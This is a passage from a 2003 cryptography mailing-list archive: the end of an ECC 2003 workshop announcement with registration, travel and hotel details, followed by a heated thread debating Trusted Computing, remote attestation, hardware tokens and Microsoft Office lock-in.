Attendees of ECC 2003 might also wish to attend SAC 2003 
(Ottawa, Aug 14-15) and CRYPTO 2003 (Santa Barbara, Aug 17-21).
The last lecture at ECC 2003 will end at 3:00 pm on Wednesday 
(Aug 13). This will give participants sufficient time to catch 
flights scheduled to leave Toronto after 7:00 pm. There are hourly 
flights from Toronto to Ottawa.


SPONSORS:     
  Certicom Corp.     
  MITACS     
  Motorola
  University of Essen  
  University of Waterloo


ORGANIZERS:     
  Gerhard Frey            (University of Essen)
  Darrel Hankerson	  (Auburn University)      
  Alfred Menezes          (University of Waterloo)
  Christof Paar           (Ruhr-Universitat Bochum)
  Edlyn Teske             (University of Waterloo)     
  Scott Vanstone          (University of Waterloo)
    

SPEAKERS:
  Hans Dobbertin          (Ruhr-Universitat Bochum, Germany)
  Florian Hess            (University of Bristol, UK)
  Hugo Krawczyk           (Technion, Israel, and IBM Research, USA)
  Tanja Lange             (Ruhr-Universitat Bochum, Germany)
  Reynald Lercier         (Centre d'Electronique de L'Armement, France)
  Ben Lynn                (Stanford University, USA)
  William Martin          (National Security Agency, USA)
  Christof Paar           (Ruhr-Universitat Bochum, Germany)
  John Proos              (University of Waterloo, Canada)
  Jean-Jacques Quisquater (Universite Catholique de Louvain, Belgium)
  Pankaj Rohatgi          (IBM Research, USA)
  Victor Shoup            (New York University, USA)
  Jerome A. Solinas       (National Security Agency, USA)
  Edlyn Teske             (University of Waterloo, Canada)
  Nicolas Theriault       (University of Toronto, Canada) 
  Eran Tromer             (Weizmann Institute of Science, Israel) 


CONFERENCE PROGRAMME:

There will be 15-16 invited lectures (and no contributed talks), 
with the remaining time used for informal discussions. There will 
be both survey lectures as well as lectures on latest research 
developments. All lectures will be held on the campus of the 
University of Waterloo. Here is a tentative list of lecture titles:

Hans Dobbertin          
    To be announced
Florian Hess            
    The GHS attack revisited
Hugo Krawczyk           
    Design and analysis of authenticated Diffie-Hellman protocols
Tanja Lange             
    Efficient arithmetic on (hyper-)elliptic curves over finite fields
Reynald Lercier         
    Algorithmic aspects of Mestre's p-adic point counting ideas
Ben Lynn                
    Applications of bilinear maps
William Martin          
    To be announced
Christof Paar           
    Hyperelliptic curve cryptosystems for embedded applications
John Proos              
    Security in the presents of decryption failures
Jean-Jacques Quisquater 
    2 or 3 side-channels for ECC
Pankaj Rohatgi          
    Power, EM and all that: Is your crypto device really secure?
Victor Shoup            
    Standardizing public key encryption algorithms
Jerome A. Solinas       
    To be announced
Edlyn Teske             
    Weak fields for ECC
Nicolas Theriault       
    Index calculus attack for hyperelliptic curves of small genus
Eran Tromer             
    Hardware-based implementation of factoring algorithms


REGISTRATION:
  
There will be a registration fee this year of $250 Cdn or $170 US
or Euros 160 ($150 Cdn or $100 US or Euros 90 for full-time graduate 
students). PLEASE REGISTER AS SOON AS POSSIBLE AS SPACE IS LIMITED FOR 
THIS WORKSHOP; REGISTRATION IS ON A FIRST-COME FIRST-SERVE BASIS. 
We cannot process a registration until all fees are paid in full. 
The deadline for all fees to be paid and registration completed has 
been set for the 1st of August, 2003.  However, you are encouraged to 
register earlier than Aug 1 since some hotels have a cutoff date of
June 29. To register, complete, in full, the attached REGISTRATION 
FORM and return it along with your payment to: 
Mrs. Adrienne Richter, C&O Dept., University of Waterloo, Waterloo,
Ontario, Canada N2L 3G1. You can also send your registration form by
fax (519-725-5441) or by email (ecc2003 at math.uwaterloo.ca). 
Confirmation of your registration will be sent by email when payment 
is received in full.


------------------------cut from here---------------------------------
ECC 2003 CONFERENCE              REGISTRATION FORM

Fullname:
_________________________________________________________

Affiliation:
_________________________________________________________

Address:
_________________________________________________________

_________________________________________________________

_________________________________________________________

_________________________________________________________

_________________________________________________________

E-Mail Address:
_________________________________________________________

Telephone #:
_________________________________________________________

Registration Fee: Please check the appropriate box:

[ ] Registration .......$250.00 CAD ..............$________

[ ] Registration .......$170.00 USD ..............$________

[ ] Registration .......Euro 160.00 ..............$________

[ ] Full-time Student ..$150.00 CAD ..............$________

[ ] Full-time Student ..$100.00 USD ..............$________

[ ] Full-time Student ..Euro  90.00 ..............$________

Registration Fee includes Banquet: Attending [ ] Yes  [ ] No

                                  Vegetarian [ ] Yes  [ ] No

TOTAL AMOUNT PAYABLE: ............................$________


    **Make Cheque/Money Order Payable to:  ECC 2003

    Credit Card Payments:

                [  ] Visa                  [  ] MasterCard

Cardholder's Name: ________________________________________________

Card Number: ______________________________________________________

Expiration Date: __________________________________________________

Signature: ________________________________________________________

Additional Information: ___________________________________________

-------------------------cut from here-------------------------------


TRAVEL:

Kitchener-Waterloo is approximately 100 km/60 miles from Pearson
International Airport in Toronto.  Ground transportation to
Kitchener-Waterloo can be pre-arranged with Airways Transit.

TRANSPORTATION TO AND FROM TORONTO AIRPORT PROVIDED BY AIRWAYS TRANSIT

It is advisable to book your transportation between the Pearson Airport,
Toronto, and Waterloo in advance to receive the advance booking rate of
$38 CAD per person, one way, with Airways Transit (open 24 hours a day).
Please quote "ECC2003" when making your reservation. Airways is a 
door-to-door service; they accept cash (Cdn or US funds), MasterCard, 
Visa and American Express.

Upon arrival:
Terminal 1: proceed to Ground Transportation Booth, Arrivals Level.
Terminal 2: proceed to Airways Transit desk, Arrivals Level, Area E.
Terminal 3: proceed to Ground Transportation Booth, Arrivals Level,
                between Doors B and C. 

You can make a reservation through their web site:
  www.airwaystransit.com 
Or, you can complete the form below and send by mail or 
fax (519-886-2141) well in advance of your arrival to 
Airways Transit. They will not fax confirmations:  your fax 
transmission record is confirmation of your reservation. 

-------------------------cut from here---------------------------------
AIRWAYS TRANSIT ADVANCE BOOKING FORM - ECC 2003

ARRIVAL INFORMATION:

____________________________________________________________
Surname					First name

____________________________________________________________
Toronto Arrival Date		Airline		Flight #

____________________________________________________________
Arrival Time				Arriving From

____________________________________________________________
Destination in Kitchener/Waterloo		No. in party

DEPARTURE INFORMATION:

____________________________________________________________
Surname					First name

____________________________________________________________
Toronto Departure Date		Airline		Flight #

____________________________________________________________
Departure Time		Flight #		Destination

____________________________________________________________
Pickup From				No. in party

____________________________________________________________
Signature					Date

Send or Fax to:

Airways Transit
99A Northland Road
Waterloo, Ontario
Canada, N2V 1Y8

Fax:           (519) 886-2141
Telephone:     (519) 886-2121
-----------------------------cut form here--------------------------------


ACCOMMODATIONS:

There is a limited block of rooms set aside on a first-come 
first-serve basis at the Waterloo Inn for the evenings of
August 10, 11, 12 and 13, and at the Comfort Inn for the 
evenings of August 9, 10, 11, 12 and 13. Please note that
the Waterloo Inn is sold out for the evening of August 9.

COMFORT INN 
Address:       190 Weber Street North, Waterloo, Ontario, Canada N2J 3H4
Phone:         (519) 747-9400
Rate:          $80 Cdn plus taxes/night for a single or double room
               Please quote "ECC 2003" when making your reservation
Availability:  Evenings of August 9, 10, 11, 12, 13
Cut-off date:  July 7, 2003

WATERLOO INN
Address:       475 King Street North, Waterloo, Ontario, Canada N2J 2Z5
Phone:         (519) 884-0222
Fax:           (519) 884-0321
Toll Free:     1-800-361-4708
Website:       www.waterlooinn.com
Rate:          $118 Cdn plus taxes/night for a single or double room
               Please quote "ECC 2003" when making your reservation
Availability:  Evenings of August 10, 11, 12, 13 
Cut-off date:  June 29, 2003


Other hotels close to the University of Waterloo are:

  UNIVERSITY OF WATERLOO CONFERENCE CENTRE
  (on-campus accommodation; no air conditioning)
  Ron Eydt Village, Box 16610, Waterloo, Ontario, Canada N3J 4C1
  Phone: 519-884-5400, 519-746-7599 
  Website: www.conferences.uwaterloo.ca (see "Room Registration")
  Approx rate: $52 Cdn plus taxes/night

  DESTINATION INN
  547 King Street North, Waterloo, Ontario, Canada N2L 5Z7
  Phone: (519) 884-0100
  Website: www.destinationinn.com
  Approx rate: $73 Cdn plus taxes/night
  
  BEST WESTERN INN
  St. Jacobs Country Inn
  50 Benjamin Road East, Waterloo, Ontario, Canada N2V 2J9
  Phone:   (519) 884-9295
  Website: www.stjacobscountryinn.com
  Approx rate: $129 Cdn plus taxes/night
  
  THE WATERLOO HOTEL
  2 King Street North, Waterloo, Ontario, Canada N2J 2W7
  Phone: (519) 885-2626
  Website: www.countryinns.org/inn_waterloo.html
  Approx rate: $120-160 Cdn plus taxes/night
  

HOTEL TO CONFERENCE TRANSPORTATION:

A shuttle to/from the campus will be available each day of the
conference from the Waterloo Inn and Comfort Inn only. Place 
and times for pickup and drop-off will be provided in the 
final announcement.


FURTHER INFORMATION:

For further information or to return your Registration, please contact:

Mrs. Adrienne Richter
Department of Combinatorics & Optimization
University of Waterloo
Waterloo, Ontario, Canada N2L 3G1
e-mail:  ecc2003 at math.uwaterloo.ca
Fax:     (519) 725-5441
Phone:   (519) 888-4027

If you did not receive this announcement by email and would like to 
be added to the mailing list for the fourth announcement, please send 
email to ecc2003 at math.uwaterloo.ca. The announcements are also 
available from the web site  www.cacr.math.uwaterloo.ca

---------------------------------------------------------------------

--- end forwarded text


-- 
-----------------
R. A. Hettinga <mailto: rah at ibuc.com>
The Internet Bearer Underwriting Corporation <http://www.ibuc.com/>
44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'

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Unsubscribe by sending "unsubscribe cryptography" to majordomo at metzdowd.com




From shaddack at ns.arachne.cz  Fri Jun 13 14:04:42 2003
From: shaddack at ns.arachne.cz (Thomas Shaddack)
Date: Fri, 13 Jun 2003 23:04:42 +0200 (CEST)
Subject: An attack on paypal --> secure UI for browsers
In-Reply-To: <557dd8f2519377887312df07a5dd0977@rebleep>
Message-ID: <Pine.LNX.4.33.0306132253220.9504-100000@Zeta>

> The problem (among others) is that this allows a virus to steal the
> client cert.  If it is protected by a password, the malware must hang
> around long enough for the user to unlock the cert (perhaps because the
> malware sent a spoofed email calling for the user to visit the site,
> even the real site!).  It can then read the user's keystrokes and acquire
> the password.  Now it has the cert and password and can impersonate the
> user at will.
>
> The solution to this is Palladium (NGSCB).

BAH! *shudders*

All we need for this is an external cryptographic token - a smartcard with
a keypad, an USB device, a Bluetooth-enabled thingy. You plug it into the
machine, the server you connect to sends its certificate name and
challenge to the browser, which passes it unchanged to your token. The
token asks you for a PIN, and calculates a response. The browser then
transparently relays the response back. There is nothing in the unit
that's accessible from the computer, and because of a physically different
keypad nothing can be sniffed from the computer. The cost of the unit can
get as low as few dollars, can easily interface with just about any OS
including PDAs, and doesn't require The Megacorp Whose Name Shouldn't Be
Spoken to take over your machine.




From eresrch at eskimo.com  Sat Jun 14 06:34:54 2003
From: eresrch at eskimo.com (Mike Rosing)
Date: Sat, 14 Jun 2003 06:34:54 -0700 (PDT)
Subject: An attack on paypal --> secure UI for browsers
In-Reply-To: <20030614112016.30665.qmail@nym.alias.net>
Message-ID: <Pine.GSU.4.44.0306140634010.27172-100000@eskimo.com>

On 14 Jun 2003, lcs Mixmaster Remailer wrote:

> Trusted Computing lets people convincingly tell the truth about what
> software they are running.  This is seen as a horrific threat in certain
> circles.  It's easy to see why liars wouldn't like it.  What does an
> honest man have to lose?

Hmmmm.... Why is it that only liars are proposing it and defenders hide in
the anonymous weeds?

Patience, persistence, truth,
Dr. mike




From saeq at gmx.net  Sat Jun 14 06:37:09 2003
From: saeq at gmx.net (Luthor Blisset)
Date: Sat, 14 Jun 2003 06:37:09 -0700
Subject: An attack on paypal --> secure UI for browsers
Message-ID: <5.1.0.14.2.20030614063707.026e7e20@pop.gmx.net>

At 11:20 AM 6/14/2003 +0000, someone wrote:

>Trusted Computing lets people convincingly tell the truth about what
>software they are running.  This is seen as a horrific threat in certain
>circles.  It's easy to see why liars wouldn't like it.  What does an
>honest man have to lose?

         The axiom "honest men have nothing to fear from the police" is 
currently under review at the Axiom Review Board. Thank you Terry 
Pratchett! If trolls like you weren't so easy to respond to, I'd just move 
on, but...
         Information about the software I'm running isn't anyone else's 
business. If someone wants to know about it, they can ask me, and under no 
circumstances am I obligated to tell them anything, much less what they 
want to hear.
         End of story.

-- Luthor //Remembering is copying and copying is THEFT




From adam.lydick at verizon.net  Sat Jun 14 08:58:14 2003
From: adam.lydick at verizon.net (Adam Lydick)
Date: 14 Jun 2003 08:58:14 -0700
Subject: An attack on paypal --> secure UI for browsers
In-Reply-To: <bcfqq9$r1s$1@abraham.cs.berkeley.edu>
References: <Pine.GSU.4.44.0306130602090.25172-100000@eskimo.com>
  <1055523011.16502.29.camel@lorien> 
  <bcfqq9$r1s$1@abraham.cs.berkeley.edu>
Message-ID: <1055606292.16496.145.camel@lorien>

That is certainly a good point but don't confuse the "nexus" with NCAs
(agents). I think the nexus just provides services to the NCAs which
actually do the work. Think of it as a core library that services can
draw on.

So having to trust the nexus, is rather like trusting kernel32.dll or
some other core components. Choosing to trust/run NCA sounds pretty
grainular, so you can trust your validated P2P stack from your favorite
independent developer and ignore (if you can) the restrictive DRM
solutions that are offered.

Problems certainly remain though:

In the validated P2P scenario, an Adversary with enough influence to
have Intel/AMD/... hand out a signed internal key can circumvent any
such "protections".

Thoughts?

AdamL

On Sat, 2003-06-14 at 11:50, David Wagner wrote:
> Adam Lydick  wrote:
> >The faq (see attached) claims that "anyone can write a nexus" and that
> >"users control which nexus(s) run".
> >
> >I certainly didn't see anything that suggests that anyone can force you
> >to run arbitrary code, regardless of who has signed it.
> 
> "Force", maybe not.  No one can "force" me to turn my machine on,
> for instance.  But take a look at one line you quoted from the FAQ:
> 
>     "Only one nexus at a time will be able to run on a machine."
> 
> That looks to me like an important sentence.
-- 
Adam Lydick <adam.lydick at verizon.net>




From mix at anon.lcs.mit.edu  Sat Jun 14 04:20:16 2003
From: mix at anon.lcs.mit.edu (lcs Mixmaster Remailer)
Date: 14 Jun 2003 11:20:16 -0000
Subject: An attack on paypal --> secure UI for browsers
Message-ID: <20030614112016.30665.qmail@nym.alias.net>

Adam Shostack writes:

> Actually, most of the features of Nogsuccob are features that I 
> want, like integrity protected, authenticated boot.  The problem, 
> bundled with those features, is the ability of the system to attest to 
> its secure boot.  This can be fixed by not letting the host know if 
> you've exported its host key or not, which makes it possible to run a 
> virtualized, trusted copy in your emulation environment. 

Nothing forces you to tell anyone else that you booted securely.  At most
someone may offer to give you something in exchange for such a proof,
but you're not obligated to take them up on it.

It's not clear what you're getting at about exporting the host key.
These systems (TCs) are generally designed to make that difficult or
impossible to accomplish.  The security of the whole system is built on
that assumption.  If you actually did manage to pull out the host key
then you could make it attest to any falsehood you wanted, although you
might get caught eventually.

Trusted Computing lets people convincingly tell the truth about what
software they are running.  This is seen as a horrific threat in certain
circles.  It's easy to see why liars wouldn't like it.  What does an
honest man have to lose?




From adam at homeport.org  Sat Jun 14 08:22:01 2003
From: adam at homeport.org (Adam Shostack)
Date: Sat, 14 Jun 2003 11:22:01 -0400
Subject: An attack on paypal --> secure UI for browsers
In-Reply-To: <20030614112016.30665.qmail@nym.alias.net>
References: <20030614112016.30665.qmail@nym.alias.net>
Message-ID: <20030614152201.GA89414@lightship.internal.homeport.org>

On Sat, Jun 14, 2003 at 11:20:16AM -0000, a Microsoft employee wrote:
| Adam Shostack writes:
| 
| > Actually, most of the features of Nogsuccob are features that I 
| > want, like integrity protected, authenticated boot.  The problem, 
| > bundled with those features, is the ability of the system to attest to 
| > its secure boot.  This can be fixed by not letting the host know if 
| > you've exported its host key or not, which makes it possible to run a 
| > virtualized, trusted copy in your emulation environment. 
| 
| Nothing forces you to tell anyone else that you booted securely.  At most
| someone may offer to give you something in exchange for such a proof,
| but you're not obligated to take them up on it.

Well, sure.  And no one forces me to run Microsoft office, either,
except Microsoft's monoploy.  And when the document format can phone
home to prevent piracy or openoffice from running, no one will be
'obligating' me to pay monopoly rents to Microsoft.

In the same way, no one forces me to have a drivers license.  But its
damned hard living life without one.

| It's not clear what you're getting at about exporting the host key.
| These systems (TCs) are generally designed to make that difficult or
| impossible to accomplish.  The security of the whole system is built on
| that assumption.  If you actually did manage to pull out the host key
| then you could make it attest to any falsehood you wanted, although you
| might get caught eventually.

The security of the system to make attestations is built on that
assumption.  However, there are other values that a TBC can offer,
like secure key storage or trusted boot of a known OS image, that I
might like.

My ability to attest to any falsehood is limited by the statements the
key is expected to sign.  How broad are those?  I thought they were
quite limited.


| Trusted Computing lets people convincingly tell the truth about what
| software they are running.  This is seen as a horrific threat in certain
| circles.  It's easy to see why liars wouldn't like it.  What does an
| honest man have to lose?

Interoperability.
Fair use.
Market Choice.
Archives.
Control over their own computers.
Ability to decide when to patch.
The ability to run purchased software..
... privately.
... when there are bugs in the license code.
... when the license server or the network is unavailable.

That's off the top of my head.

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume




From sunder at sunder.net  Sat Jun 14 12:17:22 2003
From: sunder at sunder.net (Sunder)
Date: Sat, 14 Jun 2003 15:17:22 -0400 (edt)
Subject: Microsoft, TCPA, your wallet and the real ending of the story.
In-Reply-To: <5.1.0.14.2.20030614063707.026e7e20@pop.gmx.net>
Message-ID: <Pine.BSO.4.21.0306141509020.1562-100000@anon7.arachelian.com>

Indeed.  

If it's coming from Redmond, and as usual if it smells of evil, there is
an utterly simple solution in dealing with it:  don't buy it.  Don't buy
Microsoft software, don't buy motherboards that include TCPA capabilities.  
When you're up for getting yourself a new PC, get a generic one without
such options, or if you insist, call the vendor and tell them you want a
box without evil-inside and without a Redmond OS pre-installed.

Buy a generic intel/amd machine without the "Secure" processor, or give
Steve Jobs some of your cash for a nice G4/G5 machine, or you can go to a
generic PowerPC motherboard and run Linux, or you can go to McNeally's
shop and buy an UltraSPARC, etc.  There are plenty to choose from.

If you find uses for TCPA, by all means, have fun.  

If you think Microsoft's secured from you OS platforms are the way to go
for you, by all means, Ballmer and Gates surely could make better use of
more of your cash than you can.

Vote with your wallet.  The market will ultimately dictate what M$ will
and will not sell in regards to operating systems, digital rights
management, application suites, and so forth.  

End of story.


----------------------Kaos-Keraunos-Kybernetos---------------------------
 + ^ + :25Kliters anthrax, 38K liters botulinum toxin, 500 tons of   /|\
  \|/  :sarin, mustard and VX gas, mobile bio-weapons labs, nukular /\|/\
<--*-->:weapons.. Reasons for war on Iraq - GWB 2003-01-28 speech.  \/|\/
  /|\  :Found to date: 0.  Cost of war: $800,000,000,000 USD.        \|/
 + v + :           The look on Sadam's face - priceless!       
--------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------

On Sat, 14 Jun 2003, Luthor Blisset wrote:

> At 11:20 AM 6/14/2003 +0000, someone wrote:
> 
> >Trusted Computing lets people convincingly tell the truth about what
> >software they are running.  This is seen as a horrific threat in certain
> >circles.  It's easy to see why liars wouldn't like it.  What does an
> >honest man have to lose?
> 
>          The axiom "honest men have nothing to fear from the police" is 
> currently under review at the Axiom Review Board. Thank you Terry 
> Pratchett! If trolls like you weren't so easy to respond to, I'd just move 
> on, but...
>          Information about the software I'm running isn't anyone else's 
> business. If someone wants to know about it, they can ask me, and under no 
> circumstances am I obligated to tell them anything, much less what they 
> want to hear.
>          End of story.
> 
> -- Luthor //Remembering is copying and copying is THEFT




From bill.stewart at pobox.com  Sat Jun 14 15:20:55 2003
From: bill.stewart at pobox.com (Bill Stewart)
Date: Sat, 14 Jun 2003 15:20:55 -0700
Subject: MS Format Flames Re: An attack on paypal --> secure UI for
  browsers
In-Reply-To: <20030614224056.GD15195@jal.clueinc.net>
References: <Pine.BSO.4.21.0306141617360.1562-100000@anon7.arachelian.c
  om> <20030614195356.GA92289@lightship.internal.homeport.org>
  <Pine.BSO.4.21.0306141617360.1562-100000@anon7.arachelian.com>
Message-ID: <5.1.1.6.2.20030614151220.02ec8e90@idiom.com>

> > Oh get over it.  There are other formats.
>You ever heard of XML?  HTML? RTF?

There are output formats and input formats.

It's easy to output data in formats other people can read -
if you want something prettier than ASCII,
HTML is usually fine, though there's not much support
for embedded pictures as opposed to separate files.
XML is a meta-format - you can't really guarantee that
anybody else's XML tool can read your XML tool's documents,
because they may not have all the same objects.

If you want to give them something quasi-immutable,
there's always PDF.  That lets you be rude _and_ proprietary :-)
Postscript is more flexible, but too many people don't have
tools to read it with.

Input formats are harder, because Microsoft keeps adding
backwards-incompatibility every time they upgrade Office,
just to force everybody else to upgrade.
OpenOffice can often help, but not always.

Microsoft does make free readers for Word and Powerpoint.
They're only intended for running on Windows,
but perhaps they work on WINE?




From sunder at sunder.net  Sat Jun 14 12:30:47 2003
From: sunder at sunder.net (Sunder)
Date: Sat, 14 Jun 2003 15:30:47 -0400 (edt)
Subject: An attack on paypal --> secure UI for browsers
In-Reply-To: <20030614152201.GA89414@lightship.internal.homeport.org>
Message-ID: <Pine.BSO.4.21.0306141518000.1562-100000@anon7.arachelian.com>

Um, how's that agin?  How does Ballmer and Gates force you, Adam Shostack
to run Microsoft Office?  Did they put a gun to your head?  Did they
manage to twist Congress's arms to put a gun to your head?

Compatibility you say?  Well, that's your choice.  You can decide if it's
important enough to you and act accordingly.  I personally think MSFT is
evil, and provides nothing but mediocre software.  So I vote with my
wallet by not paying them for their junk and I won't buy upgrades of their
software if the previous versions do what I needed, and install Linux and
OpenBSD on new machines.

Yes, some of the older shittier machines I have run Windows, but that's
because I'm either too lazy to track down drivers for Linux or want them
to continue running what they run.  Doesn't mean I have to go to XP or
2003.

Yes, my work machine runs win2k, but I didn't pay for it, and I didn't
have much choice in it - actually I could either quit and find a new job
(really lots of fun in this economy) or reinstall Linux over it and live
with Open Office and other open tools or have paid for Crossover office
out of my pocket, etc.  Wasn't worth the trouble and we already have a
site license for win2k + office 2k, so that's the path I went.   Not my
money, the company's money.  They chose to pay the Redmond Beast, so what
do I care?

But for home use, I have no real use for much more than OpenOffice and
Linux.  There's no need for me to pirate garbage from Microsoft.  I can
live without it.  

These are some old pentium1- 100Mhz notebook machines I have that came
with Windows 95 and 98 - turd OS's really, but they serve a purpose - mp3
players and light web surfing in my living room and other places for
example.  And before you ask, no, I didn't pirate the mp3's.  They're all
ripped from CD's that I owned, and I still have the CD's as proof of
ownership.  Yes, I could go to linux on them, but why bother wasting half
a day tracking down drivers and tuning kernels for them when they're
already built and working the way I want them to?


So why do you feel it's required of you to either pay Microsoft for, or
pirate Office XP and Server 2003 and TCPA enabled junkware?  What's so
important that you can't live without them.


----------------------Kaos-Keraunos-Kybernetos---------------------------
 + ^ + :25Kliters anthrax, 38K liters botulinum toxin, 500 tons of   /|\
  \|/  :sarin, mustard and VX gas, mobile bio-weapons labs, nukular /\|/\
<--*-->:weapons.. Reasons for war on Iraq - GWB 2003-01-28 speech.  \/|\/
  /|\  :Found to date: 0.  Cost of war: $800,000,000,000 USD.        \|/
 + v + :           The look on Sadam's face - priceless!       
--------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------

On Sat, 14 Jun 2003, Adam Shostack wrote:

> Well, sure.  And no one forces me to run Microsoft office, either,
> except Microsoft's monoploy.  And when the document format can phone
> home to prevent piracy or openoffice from running, no one will be
> 'obligating' me to pay monopoly rents to Microsoft.

<SNIP>
 
> In the same way, no one forces me to have a drivers license.  But its
> damned hard living life without one.
> 
<SNIP>




From sunder at sunder.net  Sat Jun 14 12:52:25 2003
From: sunder at sunder.net (Sunder)
Date: Sat, 14 Jun 2003 15:52:25 -0400 (edt)
Subject: Microsoft, TCPA, your wallet and the real ending of the
  story.
In-Reply-To: <20030614195834.GB92289@lightship.internal.homeport.org>
Message-ID: <Pine.BSO.4.21.0306141549420.1562-100000@anon7.arachelian.com>

Right now, Intel, AMD, Transmeta, IBM+Motorola (PowerPC), Sun+Fuji+Tatung
(UltraSPARC + clones), whomever is left making MIPS Rx000 chip based
machines after SGI (Is sgi still making Irix boxes?) and so on.

If you want TCPA, by all means, go have fun buying a motherboard with it
and run whatever OS meets your needs, and if none do, feel free to write
your own extensions for Linux, *BSD, etc.

----------------------Kaos-Keraunos-Kybernetos---------------------------
 + ^ + :25Kliters anthrax, 38K liters botulinum toxin, 500 tons of   /|\
  \|/  :sarin, mustard and VX gas, mobile bio-weapons labs, nukular /\|/\
<--*-->:weapons.. Reasons for war on Iraq - GWB 2003-01-28 speech.  \/|\/
  /|\  :Found to date: 0.  Cost of war: $800,000,000,000 USD.        \|/
 + v + :           The look on Sadam's face - priceless!       
--------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------

On Sat, 14 Jun 2003, Adam Shostack wrote:

> Which CPU vendor will sell me a CPU without TCPA?
> 
> And besides, I WANT a TCPA machine.  I just don't want remote
> attestation, or keys that I can't back-up and relocate.




From adam at homeport.org  Sat Jun 14 12:53:57 2003
From: adam at homeport.org (Adam Shostack)
Date: Sat, 14 Jun 2003 15:53:57 -0400
Subject: An attack on paypal --> secure UI for browsers
In-Reply-To: <Pine.BSO.4.21.0306141518000.1562-100000@anon7.arachelian.c
  om>
References: <20030614152201.GA89414@lightship.internal.homeport.org>
  <Pine.BSO.4.21.0306141518000.1562-100000@anon7.arachelian.com>
Message-ID: <20030614195356.GA92289@lightship.internal.homeport.org>

On Sat, Jun 14, 2003 at 03:30:47PM -0400, Sunder wrote:
| Um, how's that agin?  How does Ballmer and Gates force you, Adam Shostack
| to run Microsoft Office?  Did they put a gun to your head?  Did they
| manage to twist Congress's arms to put a gun to your head?
| 
| Compatibility you say?  Well, that's your choice.  You can decide if it's
| important enough to you and act accordingly.  I personally think MSFT is
| evil, and provides nothing but mediocre software.  So I vote with my
| wallet by not paying them for their junk and I won't buy upgrades of their
| software if the previous versions do what I needed, and install Linux and
| OpenBSD on new machines.

Sure.  And I'm glad you work with a small group of people who
understand that you don't read their documents.  After many years of
refusal, I finally gave up.  I work with lots of customers who expect
documents in MS formats, and look at you askance for giving them
anything else.  You only get so many explanations before customers go
elsewhere, and I chose not to spend them on this.  Similarly, I could
choose to speak to everyone I meet in, say, Russian.  And some folks
would understand.  Others would walk away.  So, you can argue that
you're effectively required to speak English to do business in North
America.  I would argue that you're similarly required to use MS
Office.

| Yes, my work machine runs win2k, but I didn't pay for it, and I didn't
| have much choice in it - actually I could either quit and find a new job
| (really lots of fun in this economy) or reinstall Linux over it and live
| with Open Office and other open tools or have paid for Crossover office
| out of my pocket, etc.  Wasn't worth the trouble and we already have a
| site license for win2k + office 2k, so that's the path I went.   Not my
| money, the company's money.  They chose to pay the Redmond Beast, so what
| do I care?

You'll be part of the problem when Nogsuccob is apon us, because the
documents you create won't be readable in OpenOffice, and Crossover
won't run.

| So why do you feel it's required of you to either pay Microsoft for, or
| pirate Office XP and Server 2003 and TCPA enabled junkware?  What's so
| important that you can't live without them.

Office Nogsuccob will only interoperate with itself.  Companies will end
up deploying it to interact with other versions, not for any real
feature.

You don't like the word force, I suggest quitting all use of .DOC,
.PPT, and .XLS formats.  Please educate the world on how much better
the alternatives are.  Me, I'll pay my $200 to not bother today, and
regret it tomorrow.

And by the way, do you have a driver's license, or other state-issued
ID card?

Adam


| On Sat, 14 Jun 2003, Adam Shostack wrote:
| 
| > Well, sure.  And no one forces me to run Microsoft office, either,
| > except Microsoft's monoploy.  And when the document format can phone
| > home to prevent piracy or openoffice from running, no one will be
| > 'obligating' me to pay monopoly rents to Microsoft.
| 
| <SNIP>
|  
| > In the same way, no one forces me to have a drivers license.  But its
| > damned hard living life without one.
| > 
| <SNIP>
| 
| 

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume




From adam at homeport.org  Sat Jun 14 12:58:34 2003
From: adam at homeport.org (Adam Shostack)
Date: Sat, 14 Jun 2003 15:58:34 -0400
Subject: Microsoft, TCPA, your wallet and the real ending of the
  story.
In-Reply-To: <Pine.BSO.4.21.0306141509020.1562-100000@anon7.arachelian.c
  om>
References: <5.1.0.14.2.20030614063707.026e7e20@pop.gmx.net>
  <Pine.BSO.4.21.0306141509020.1562-100000@anon7.arachelian.com>
Message-ID: <20030614195834.GB92289@lightship.internal.homeport.org>

On Sat, Jun 14, 2003 at 03:17:22PM -0400, Sunder wrote:
| Indeed.  
| 
| If it's coming from Redmond, and as usual if it smells of evil, there is
| an utterly simple solution in dealing with it:  don't buy it.  Don't buy
| Microsoft software, don't buy motherboards that include TCPA capabilities.  
| When you're up for getting yourself a new PC, get a generic one without
| such options, or if you insist, call the vendor and tell them you want a
| box without evil-inside and without a Redmond OS pre-installed.

Which CPU vendor will sell me a CPU without TCPA?

And besides, I WANT a TCPA machine.  I just don't want remote
attestation, or keys that I can't back-up and relocate.

| Buy a generic intel/amd machine without the "Secure" processor, or give
| Steve Jobs some of your cash for a nice G4/G5 machine, or you can go to a

IBM is starting to add TCPA to the powerpc line.  And much as I enjoy
my Mac, the DVD player still has this bug where fast-forward doesn't
work sometimes.  Really annoying when you need to yank a DVD for
cleaning, and watch the previews 3 or 4 times.

http://www-3.ibm.com/chips/products/powerpc/newsletter/mar2003/ppc_process_at_work.html

Sparc may be an option if Sun stays in business, but again, I want a
TCPA chip that I can control.

Adam


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume




From sunder at sunder.net  Sat Jun 14 13:29:23 2003
From: sunder at sunder.net (Sunder)
Date: Sat, 14 Jun 2003 16:29:23 -0400 (edt)
Subject: An attack on paypal --> secure UI for browsers
In-Reply-To: <20030614195356.GA92289@lightship.internal.homeport.org>
Message-ID: <Pine.BSO.4.21.0306141617360.1562-100000@anon7.arachelian.com>

Oh get over it.  There are other formats.  You ever heard of
XML?  HTML? RTF?

If the day comes where MS Office DRM only works with MS Office DRM, how
many people will switch to it?  If your company is willing to switch to
it, then they'll give you a PC with it on it.  If they don't, then they
can't expect you to interact with them via such formats and can't require
you to do so.

You sound like someone's holding a gun to your head and requiring you to
have MS Office.

Either way, you can ask them to export to other document formats which you
can read.  Even now Office will export to HTML for example which is
readable by Mozilla and other browsers.

Microsoft is not the DMV.  You don't need to use their software.

And no, I will never be part of your problem because the documents I will
create for non work use will be made with Open Office or will be plain
text, html, or xml files.

If I'm required to use a DRM'ed Office for work, then fine, my company
